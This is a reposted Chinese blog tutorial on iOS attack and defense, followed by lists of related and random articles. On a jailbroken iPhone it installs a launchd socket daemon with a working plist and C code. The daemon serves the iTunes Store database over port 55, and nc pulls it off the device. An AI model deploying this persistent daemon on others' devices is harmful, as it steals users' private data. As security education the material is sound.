转自:http://blog.csdn.net/yiyaaixuexi/article/details/8293020

开机自启动

iOS安全攻防(一):Hack必备的命令与工具中,介绍了如何编译自己的C程序并手动启动。今天介绍如何使程序变为开机自启动。

1.首先打开Xcode创建一个plist属性文件,如下图所示:

其中要注意一下通信服务名,我定为55。用编辑器打开,即为:

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
  3. <plist version="1.0">
  4. <dict>
  5. <key>Program</key>
  6. <string>/usr/bin/ncdemo</string>
  7. <key>StandardErrorPath</key>
  8. <string>/dev/null</string>
  9. <key>SessionCreate</key>
  10. <true/>
  11. <key>ProgramArguments</key>
  12. <array>
  13. <string>/usr/bin/ncdemo</string>
  14. </array>
  15. <key>inetdCompatibility</key>
  16. <dict>
  17. <key>Wait</key>
  18. <false/>
  19. </dict>
  20. <key>Sockets</key>
  21. <dict>
  22. <key>Listeners</key>
  23. <dict>
  24. <key>SockServiceName</key>
  25. <string>55</string>
  26. </dict>
  27. </dict>
  28. </dict>
  29. </plist>

最后,将plist文件 scp 至 root@192.168.1.114:/System/Library/LaunchDaemons/ 下 .

编写读取iTunesstore数据库程序

读取itunesstored2.sqlitedb信息,并输出到stdout中,便于我们读取。

  1. #include <stdio.h>
  2. #include <fcntl.h>
  3. #include <stdlib.h>
  4. #define FILE "/var/mobile/Library/com.apple.itunesstored/itunesstored2.sqlitedb"
  5. int main(){
  6. int fd = open(FILE, O_RDONLY);
  7. char buf[128];
  8. int ret = 0;
  9. if(fd < 0)
  10. return -1;
  11. while (( ret = read(fd, buf, sizeof(buf))) > 0){
  12. write( fileno(stdout), buf, ret);
  13. }
  14. close(fd);
  15. return 0;
  16. }

编译、拷贝、签名

1.编译方法上篇文章已经介绍清楚,这里不再重复,直接¥%¥#%¥……%# 生成运行在ARM的 ncdemo

2.将ncdemo scp 到设备中,并登录

$ scp ncdemo root@192.168.1.114:ncdemo

$ ssh root@192.168.1.114

3.签名

#ldid -S ncdemo

#mv ncdemo /usr/bin

抓取 iTunesstore 数据信息

这时,我们只需要利用netcat,指定之前定义的服务名称,轻松在本地抓取设备 iTunesstore 信息.

$ nc 192.168.1.114 55 > itunesstored2.sqlitedb

分析 iTunesstore 数据信息

好吧,这里就介绍个最简单的应用,利用string命令查看:

$ strings itunesstored2.sqlitedb

于是乎,我们就清晰的得到了iPhone /iPad 设备上都安装了哪些app :

iOS安全攻防(二):后台daemon非法窃取用户iTunesstore信息的更多相关文章

  1. 【阿里聚安全·安全周刊】Python库现后门 可窃取用户SSH信息|Facebook再曝300万用户数据泄露

    本周七个关键词:Python库现后门丨Facebook再曝数据泄露丨加密协议被曝严重漏洞丨英国报摊将出售"色情通行证"丨HTTPS的绿色锁图标丨机器学习和预测应用的API丨Ecli ...

  2. 恶意软件正在利用SSLserver窃取用户个人信息!

    安全套接层协议(SSL)及安全传输层协议(TLS)旨在提供一个安全.加密的client和server之间的连接网络.为进一步进行身份验证和加密,server必须提供证书,从而直接有效地证明其身份. 使 ...

  3. Spring Security教程(二):通过数据库获得用户权限信息

    上一篇博客中,Spring Security教程(一):初识Spring Security,我把用户信息和权限信息放到了xml文件中,这是为了演示如何使用最小的配置就可以使用Spring Securi ...

  4. iOS安全攻防(二十三):Objective-C代码混淆

    iOS安全攻防(二十三):Objective-C代码混淆 class-dump能够非常方便的导出程序头文件,不仅让攻击者了解了程序结构方便逆向,还让着急赶进度时写出的欠完好的程序给同行留下笑柄. 所以 ...

  5. 苹果IOS内购二次验证返回state为21002的坑

    项目是三四年前的老项目,之前有IOS内购二次验证的接口,貌似很久都没用了,然而最近IOS的妹子说接口用不了,让我看看啥问题.接口流程时很简单的,就是前端IOS在购买成功之后,接收到receipt后进行 ...

  6. 微信连WiFi关注公众号流程更新 解决ios微信扫描二维码不关注就能上网的问题

    前几天鼓捣了一下微信连WiFi功能,设置还蛮简单的,但ytkah发现如果是ios版微信扫描微信连WiFi生成的二维码不用关注公众号就可以直接上网了,而安卓版需要关注公众号才能上网,这样就少了很多ios ...

  7. iOS安全攻防

    iOS安全攻防 http://www.docin.com/p-760264769.html

  8. XMPPFrameWork IOS 开发(二)- xcode配置

    原始地址:XMPPFrameWork IOS 开发(二) 译文地址:   Getting started using XMPPFramework on iOS 介绍 ios上的XMPPFramewor ...

  9. ios 中生成二维码和相册中识别二维码

    iOS 使用CIDetector扫描相册二维码.原生扫描 原生扫描 iOS7之后,AVFoundation让我们终于可以使用原生扫描进行扫码了(二维码与条码皆可)AVFoundation可以让我们从设 ...

随机推荐

  1. 使用 Docker 构建 Nebula Graph 源码

    Nebula Graph 介绍 Nebula Graph 是开源的高性能分布式图数据库.项目使用 C++ 语言开发,cmake 工具构建.其中两个重要的依赖是 Facebook 的 Thrift RP ...

  2. Python 关于 pip 部分相关库的安装

    下文中“:”后面安装的安装语句需要打开 cmd (命令提示符),在 cmd 中输入. 示例: 在搜索框输入 cmd,单机命令提示符: 然后输入安装语句,按回车键: 因为我之前已经装过了,所以这里显示的 ...

  3. Python3---标准库---urllib

    前言 该文章主要说明Python3 标准库urllib的使用. 修改时间:20191216 修改时间:20191217 修改时间:20191218 添加urllib.parse.urlencode,u ...

  4. Add a Class from the Business Class Library从业务类库添加类(EF)

    In this lesson, you will learn how to use business classes from the Business Class Library as is. Fo ...

  5. [browser window窗口大小 算是screen补充吧]主要因为移动IE游览器 写了个兼容

    先上图吧 来上代码 console.log(window.outerWidth + '--' + window.outerHeight);//只读的整数,声明了整个窗口的XY //IE 不支持此属性, ...

  6. tomcat的一些优化及报错

    以下为转发来,具体地址为 http://blog.csdn.net/chen3888015/article/details/7432488 环境centos5.7 tomcat6 http://apr ...

  7. JavaScript中一个对象数组按照另一个数组排序

    JavaScript中一个对象数组按照另一个数组排序 需求:排序 const arr1 = [33, 11, 55, 22, 66]; const arr2 = [{age: 55}, {age: 2 ...

  8. Luogu P5368 [PKUSC2018]真实排名

    老年选手只会做SB题了(还调了好久) 很容易想到分类讨论,按第\(i\)个人有没有翻倍来算 若\(a_i\)未翻倍,显然此时将\([0,\lceil \frac{a_i}{2}\rceil)\)的数和 ...

  9. IT兄弟连 Java语法教程 数组 多维数组 二维数组的初始化

    二维数组的初始化与一位数组初始化类似,同样可以使用静态初始化或动态初始化. 1)静态初始化 静态初始化的格式如下: 数组名字 = new 数组元素的类型[][]{new 数组元素的类型[]{元素1,元 ...

  10. Java菜题

    编程语言:Java  2019年全国高校计算机能力挑战赛分设大数据算法赛(所谓的内部试题) 一.选择题(共15题,每题3分,共45分) 1. 在Java中下列说法正确的是(  ) A.一个子类可以有多 ...